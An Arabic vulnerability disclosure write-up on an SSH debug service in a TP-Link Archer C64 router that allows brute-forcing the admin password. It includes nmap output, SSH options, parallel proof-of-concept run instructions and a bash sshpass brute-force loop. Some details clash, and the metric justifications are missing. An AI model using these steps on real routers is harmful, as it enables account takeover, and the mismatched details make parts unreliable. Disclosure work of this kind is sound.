
شرح
CVE-2026-8697 هو خلل منطقي في نظام تشغيل TP-Link Archer C64 (يُسمى TPOS في رسالة التصحيح). يسمح لأي مستخدم غير مميز متصل بالموجّه بتجاوز حد معدل محاولات واجهة الويب باستخدام خدمة SSH متبقية. يمكن استخدام سكربت بايثون بسيط لتجربة العديد من كلمات المرور في فترة زمنية قصيرة والحصول على وصول إداري كامل إلى الموجّه.
POC: poc.py
يمتلك الموجّه خدمة SSH للتصحيح لا تمنح قشرة (shell) على الموجّه، بل تنتهي فحسب عند إدخال كلمة المرور الصحيحة. لكنها تستخدم نفس كلمة مرور واجهة الإدارة ولا تطبّق أي حدود لمعدل المحاولات أو سياسات إقفال. وبناءً عليه، يمكن استخدامها بوصفها أداة تحقق عالية السرعة لتخمين كلمة المرور بالقوة الغاشمة. يمكن استغلال هذه الثغرة من أجهزة IoT خبيثة أو مخترقة على الشبكة للحصول على وصول إداري كامل إلى الموجّه. لا يمكن للمهاجم الحصول على وصول قشرة عبر هذه الواجهة، لكنه يستطيع بسهولة التحقق من بيانات الاعتماد لاختراق واجهة الإدارة الرئيسية.
تم إصلاح هذه الثغرة في إصدار البرنامج الثابت 1.15.0، الذي يزيل الخدمة ببساطة. لاختبار موجّهك، استخدم هذا الأمر (Linux/macOS):
timeout 10 nc -vz 192.168.0.1 22
echo $?
استبدل عنوان IP بالعنوان الذي تستخدمه للاتصال بواجهة الويب الخاصة بالموجّه.
إذا كان الناتج 0 أو أظهر succeeded! فموجّهك معرّض للثغرة. وإلا فهو ليس
كذلك.
في Windows، شغّل ما يلي في PowerShell:
tnc 192.168.0.1 -Port 22
إذا أظهر TcpTestSucceeded : True فموجّهك معرّض للثغرة. أما إذا علّق إلى ما
لا نهاية أو أظهر False فموجّهك ليس معرّضًا.
الخلل قائم على المنطق بالكامل ولا يتطلب إفساد الذاكرة أو تجاوز ASLR أو الفوز بسباقات التوقيت (race conditions).
في ذلك الوقت، كنت أتعلّم Nmap وقررت للمتعة فحص موجّهي. لم أكن أبحث عن ثغرات في ذلك الوقت، لكنني لاحظت خدمة SSH مفتوحة.
$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey:
|_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp open tcpwrapped
80/tcp open http TP-LINK router http config
|_http-title: Opening...
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after: 2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
يُظهر السجل أعلاه خدمة SSH تشغّل OpenSSH 6.6.0 (إصدار قديم من 2014، لكن
الإصدار لا يهم هنا). عند رؤية هذا الإصدار القديم جدًا، اشتبهت في أنه قد يُستغل
من قبل مهاجم، وحاولت الاتصال به عبر SSH بقصد الحصول على قشرة وتحديث البرنامج
الثابت. في تلك المرحلة كنت أحاول تأمين موجّهي، لا البحث عن ثغرات. غير أن
الاتصال به طرح مشكلة مثيرة للاهتمام: خوارزميات مفتاح المضيف والمفاتيح العامة
غير مدعومة في نسختي من OpenSSH. كما أن استخدام -o لم يعمل على نظامي، لذا
اضطررت إلى استخدام حاوية debian:bullseye-slim التي تحتوي عميل OpenSSH يدعم
خوارزميتي diffie-hellman-group14-sha1 و ssh-dss.
داخل الحاوية، وبعد تثبيت عميل OpenSSH، تمكنت من الاتصال بخادم SSH.
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-dss [email protected]
استخدمت هذا وتمكنت أخيرًا من الاتصال بخادم SSH، الذي رحّب بي برسالة
TPOS 5 IPSSH Test ومطالبة بإدخال كلمة المرور. غير أنه بعد إدخال كلمة
المرور، أُغلقت جلسة الاتصال فورًا. حتى أنني جربت تشغيل أمر مباشرة لكنه لم
ينفّذ الأمر. أدركت أنه لا توجد قشرة، لذا لا يمكن لمهاجم أن يحصل على وصول إلى
موجّهي. إذن موجّهي آمن، أليس كذلك؟ حسنًا، ليس تمامًا. أدركت أنه ورغم عدم
حصولك على أي وصول، فإنك تعرف ما إذا كانت كلمة مرورك صحيحة أم لا. وتلك كلمة
المرور هي نفسها كلمة مرور واجهة الويب، ولم تكن هناك أي حدود لمعدل المحاولات أو
أي شيء يوقف هجوم القوة الغاشمة إطلاقًا. عندها راودتني فكرة تحويل هذا إلى CVE.
حاولت أتمتة الهجوم. جربت أولًا استخدام sshpass في حلقة bash لكن لم يكن
بالإمكان استخدام كلمات مرور متعددة في الاتصال الواحد، لذا حاولت كتابة سكربت
بايثون. وهذا هو POC المرفق.
لاستخدام POC، أنشئ أولًا بيئة venv وثبّت pexpect. لاحظ أن السكربت لا يستخدم
وحدة pxssh الخاصة بـ Pexpect لأنها لا تدعم تجربة كلمات مرور متعددة في اتصال
واحد.
python3 -m venv venv
source venv/bin/activate
pip install pexpect
احفظ السكربت في poc.py وشغّله. يمكنك اختياريًا تمرير مسار إلى قائمة كلمات
مرور مفصولة بأسطر جديدة كوسيط أول. إن لم تفعل، فسيستخدم الأرقام من 1 إلى 100
ككلمات مرور (لاختبار السرعة).
python3 poc.py list.txt
يمكنك موازاة الهجوم بتشغيل عدة نسخ بقوائم مختلفة. إذا شغّلت أكثر من 3 نسخ، ستبدأ برؤية أخطاء اتصال. ومع ذلك يضمن السكربت تجربة جميع كلمات المرور.
python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &
يمكن للمهاجم استخدام جهاز IoT خبيث أو مخترق على الشبكة لتخمين كلمة المرور بالقوة الغاشمة والحصول على وصول إداري إلى واجهة الإدارة. لا يوجد أي مؤشر للمستخدم على حدوث ذلك، ويمكن للمهاجم الاستمرار لفترة طويلة دون أن يُكتشف. وبمجرد حصول المهاجم على وصول إلى واجهة الإدارة، يمكنه تغيير إعدادات DNS لتنفيذ اختطاف DNS، وتغيير كلمة مرور Wi-Fi لإقفال المستخدمين، واستخدام التوجيه الثابت لاعتراض حركة المرور غير المشفرة أو حظر الوصول إلى الشبكة بالتوجيه إلى عنوان IP غير موجود، وتوجيه المنافذ، وإيقاف تشغيل جدار الحماية/ALG والمزيد.
متجه هجوم CVSS 4.0 لهذه الثغرة هو:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H
ويعادل ذلك درجة 9.3 حرجة. مبرراتي لكل مقياس هي كما يلي:
while read pass;do
sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
if [ $? -eq 0 ]; then
echo "Password found: $PASS"
break
fi
done < list.txt
(لاحظ أن هذا أبطأ من سكربت POC لأنه لا يجرب كلمات مرور متعددة في كل اتصال)
AV:A.نشر البائع (TP-Link) هذه الثغرة بدرجة 8.7 (عالية) بالمتجه:
CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
غير أن هذا البحث يرى أن أثر النظام اللاحق لا ينبغي تقييمه على أنه «لا شيء». إذ إن الموجّه يعمل كبوابة رئيسية لجميع الأجهزة المتصلة:
لذلك، فإن تمثيلًا أكثر دقة للمخاطر على الشبكة المنزلية هو 9.3/حرجة كما نوقش أعلاه.
تحديث البرنامج الثابت للموجّه إلى 1.15.0 Build 250729 أو أحدث سيصلح هذه
الثغرة.
تم اكتشاف هذه الثغرة والإبلاغ عنها بواسطة Tanjim Kamal.
| التاريخ | الحدث |
|---|
| 2026-02-26 | الإبلاغ عن الثغرة إلى فريق أمن المنتجات في TP-Link |
| 2026-03-03 | استلام الإقرار المبدئي |
| 2026-03-14 | تؤكد TP-Link أنها في مرحلة التحقق والمعالجة |
| 2026-04-22 | تقول TP-Link إن الثغرة أُصلحت في إصدار البرنامج الثابت 1.15.0، لكن البرنامج الثابت غير متاح للعموم بعد |
| 2026-04-24 | البرنامج الثابت متاح للعموم |
| 2026-04-26 | تأكيد التصحيح وطلب معرف CVE |
| 2026-05-15 | إرسال تذكير بالموعد النهائي (90 يومًا) إلى TP-Link |
| 2026-05-15 | حجز معرف CVE |
| 2026-05-29 | الإفصاح العلني |
| 2026-05-29 | نشر التقرير (هذا المستند) |